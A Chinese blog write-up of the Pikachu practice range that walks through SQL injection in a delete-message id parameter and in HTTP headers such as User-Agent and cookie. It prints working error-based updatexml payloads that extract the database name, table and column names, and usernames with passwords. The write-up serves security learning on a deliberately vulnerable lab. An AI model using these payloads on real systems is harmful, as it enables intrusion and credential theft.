[Pikachu靶场实战系列] SQL注入(delete注入/http头注入)

539 阅读1分钟

目录

delete注入

在这里插入图片描述
delete是删除的意思,我们肯定要有东西删,先随便输入一些留言。
在这里插入图片描述
点击删除抓包
在这里插入图片描述
在get数据中发现参数id,猜测id就是注入点,id参数后加单引号,报错了,说明注入点找对了
在这里插入图片描述
构建pyload (+的作用是代替空格)

56+or+updatexml(1,concat(0x7e,database()),0)

在这里插入图片描述
注意:
1.以下pyload在burp中需要使用Ctrl+U进行编码才能生效
2.和之前的一样,查询数据长度为31,所以要想将数据全部查询出来需要多次查询并拼接,我这里每次查询一次,不再拼接了。

查询表

id=56 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

在这里插入图片描述
查询列

id=56 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1)

在这里插入图片描述
查询passwd

id=56 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’^’,password)) from users),1,31),0x7e),1)

在这里插入图片描述

http头注入

右上角提示中有用户名和密码
在这里插入图片描述
输入用户名密码,登录
在这里插入图片描述
在这里插入图片描述
抓包
在这里插入图片描述
将User-Agent的值改为1’,发包过去报错了,说明此处存在注入点

在这里插入图片描述
构造查询数据库的payload:

1’ or updatexml(1,concat(0x7e,database()),0) or ’

在这里插入图片描述
查询其他信息的payload省略,参考之前的。

注意:不止User-Agent中可能存在注入,http头中的其他地方也有可能存在注入,下图为cookie中的注入点:

在这里插入图片描述

新人创作打卡挑战赛

发博客就能抽奖!定制产品红包拿不停!